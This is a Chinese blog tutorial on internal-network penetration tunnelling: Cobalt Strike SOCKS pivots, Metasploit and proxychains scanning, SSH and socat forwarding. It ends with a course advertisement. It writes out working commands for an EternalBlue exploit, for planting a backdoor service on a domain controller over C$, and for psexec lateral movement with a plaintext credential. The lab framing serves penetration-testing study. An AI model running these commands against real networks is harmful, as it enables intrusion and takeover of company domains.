内网渗透-隧道技术(socks转发、ssh隧道)

流量转发

本片文章将会介绍在内网渗透中经常用到的隧道技术

Socks转发

实验环境介绍

目前已经拿到了server2008-2的会话,但是域控主机在内网,不能和CS TeamServer直接通信,所以需要添加代理转发

在进行转发操作之前,需要将当前会话改为交互模式,也就是说输入命令就被执行,执行sleep 0即为交互模式

  • 在当前 beacon 上可以右击选择Pivoting --> SOCKS Server设置一个 Socks4a 代理服务

  • 或者使用命令socks [port]进行设置

  • 使用命令socks stop关闭 Socks 代理服务

  • View --> Proxy Pivots中可以看到已经创建的代理服务

    beacon> help socks
    Use: socks [stop|port]

    Starts a SOCKS4a server on the specified port. This server will relay
    connections through this Beacon.

    Use socks stop to stop the SOCKS4a server and terminate existing connections.

    Traffic will not relay while Beacon is asleep. Change the sleep time with the
    sleep command to reduce latency.

MSF 连接到 Socks 代理服务

  1. 设置 socks 代理

image-20211207150549587

输入端口即可

或者用beacon命令

    beacon> socks 8888  
# 关闭命令  
socks stop
  1. Metasploit 中进行设置

CS 中创建好代理后,在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信

开启 Metasploit 后,运行 setg 命令

    setg Proxies socks4:192.168.179.131:8888  
setg ReverseAllowProxy true

    msf5 > setg Proxies socks4:192.168.179.131:8888  
Proxies => socks4:192.168.179.131:8888

如果感觉上面命令比较长,还可以在Proxy Pivots界面中点击Tunnel按钮查看命令。

* 运行以下命令来停止

    unsetg Proxies

setg 命令和 unsetg 表示在 metasploit 中全局有效,不用在每次选择模块后再重新设置

  1. 扫描端口

扫描 10.0.0.0/24 地址段中的 445 端口

这里作为演示,只扫描一下 445 端口

    use auxiliary/scanner/smb/smb_version  
set rhost 10.0.0.0/24  
set threads 64  
exploit
  1. 漏洞发现&利用

如果10段内存在其他主机,且开放了端口,这里使用永恒之蓝作为演示

    use exploit/windows/smb/ms17_010_eternalblue  
set rhosts 10.0.0.4  
set payload windows/x64/meterpreter/bind_tcp  
exploit

使用 ProxyChains 进行代理转发

使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理

1. 和MSF 使用socks 方法一致,首先开启一个 socks 代理服务  
2. 配置 /etc/proxychains.conf 文件  
3. 运行 proxychains + 待执行命令
  1. 开启socks代理

    beacon> socks 9527

开启代理后再teamserver上可以看到端口(下图 socks 端口为8888)

image-20211207172213969

  1. 配置 ProxyChains

在攻击机上,配置/etc/proxychains.conf文件的最后一行,根据当前 攻击主机(Teamserver) IP 与设置的 Socks
端口,修改如下:

    vim /etc/proxychains.conf  
socks4 192.168.179.128 9527  
# socks4 127.0.0.1 9527

centos如果没有这个文件的话需要安装proxychains,安装方法,proxychains-
ng 是 proxychains 的加强版

  1. 开始使用 ProxyChains

使用 Metasploit 的扫描可以知道,在 10.0.0.0/24 地址段中存在主机 10.0.0.2 ,接下来使用 nmap
扫描一下常见的端口,这里以 80,443,445,3389 作为演示

    proxychains nmap -sT -Pn 10.0.0.2 -p 80,443,445,3389  
proxychains-ng 版本命令为 proxychains4  
# -sT:使用 TCP 扫描  
-Pn:不使用 Ping  
-p:指定扫描端口  
注:不加上 -sT -Pn 参数,将无法使用 proxychains 进行代理扫描

image-20211207155435483

  1. 访问端口(假设开启了80端口)

    proxychains curl 10.0.0.2

转发监听器(反向链接)

image-20211207182604827

选择server2008-2会话,右击选择中转-Listener

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RtMUSjy1-1692615756789)(https://image.3001.net/images/20211207/1638885229_61af676da77b8932cc792.png!small)]

这里的转发监听器就相当于server2008-2作为一个代理,当流量转发至server2008-1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-26BkXX5x-1692615756791)(https://image.3001.net/images/20211207/1638885234_61af6772bbd4e45c480df.png!small)]

生成可执行(s)后门,监听器选择转发监听器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-THc7Q6Wo-1692615756793)(https://image.3001.net/images/20211207/1638885239_61af67770991ae8c1adfe.png!small)]

将生成的后门文件上传到server2008-2目录下,这之前一样需要将后门复制到域控主机2008-1上(如果没有域控主机权限,要使用上一节获取信任方法拿到权限)

shell copy file.exe \\host\C$\Windows\Temp  
# shell copy C:\Users\server20082\beacon.exe \\host\C$\Windows\Temp\beacon.exe

按照之前的方法,先创建服务

beacon> shell sc \\host create name binpath= c:\windows\temp\file.exe  
# beacon> shell sc \\WIN-A9PLNLID2QM  create beacon binpath= c:\windows\temp\s.exe

启动服务

shell sc \\host start name  
# shell sc \\WIN-A9PLNLID2QM  start beacon

启动成功不会有报错,没有成功会有报错

image-20211207140136845

执行成功后主机上线

image-20211207140621528

上线之后在CS视图中可以看出反向连接和正向链接的区别

image-20211207183513464

SSH隧道

在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接

适合于以下环境

image-20211207190918589

外部 vps
可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问,这时就可以使用SSH隧道技术,先经过渗透测试拿到web服务器shell,以web服务器为跳板,访问数据库服务器的3389端口

接下来的实验使用另外一种拓扑结构,模拟企业内网钓鱼攻击场景

image-20211207194130227

现在已经通过钓鱼攻击拿到了内网办公区区域的一台员工办公电脑

image-20211207210208633

环境具体如下

  • web服务器具有双网卡,和数据服务器处于同一网段(10段)可以相互通信,和员工办公电脑处于同一网段可以相互通信(模拟)

  • 员工电脑不能和数据服务器通信

因为员工电脑不能和数据服务器直接通信,我们可以借助 web 服务器(已经被拿下)搭建 ssh 隧道进行通信

1.在TeamServer上搭建ssh隧道

ssh -D 1080 user@ip  
# ssh -D 1080 moonteam@192.168.179.141

在本地创建动态端口1080进行转发连接到192.168.179.141

image-20211207205235978

2.在TeamServer上开启445端口转发

访问本地445端口的数据会被转发到10.0.0.2

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:10.0.0.2:445

3.在cs中使用以下命令使数据服务器上线

make_token domainname\username password  
# beacon> make_token ocean\administrator Ocean@123

image-20211207212516072

beacon> jump psexec_psh 跳板机ip smb beacon  
# 需要创建一个smb beacon  
这里的ip就是Teamserver的ip,因为在teamserver上转发的445端口

image-20211207213132888

上线主机

image-20211207213250934

整个流程如下

image-20211207214408588

参考链接

https://xz.aliyun.com/t/7245

https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html

转发的445端口

[外链图片转存中…(img-U3zRM4OX-1692615756814)]

上线主机

[外链图片转存中…(img-UjFc0m6U-1692615756817)]

整个流程如下

[外链图片转存中…(img-JdEguG3W-1692615756819)]

参考链接

https://xz.aliyun.com/t/7245

https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值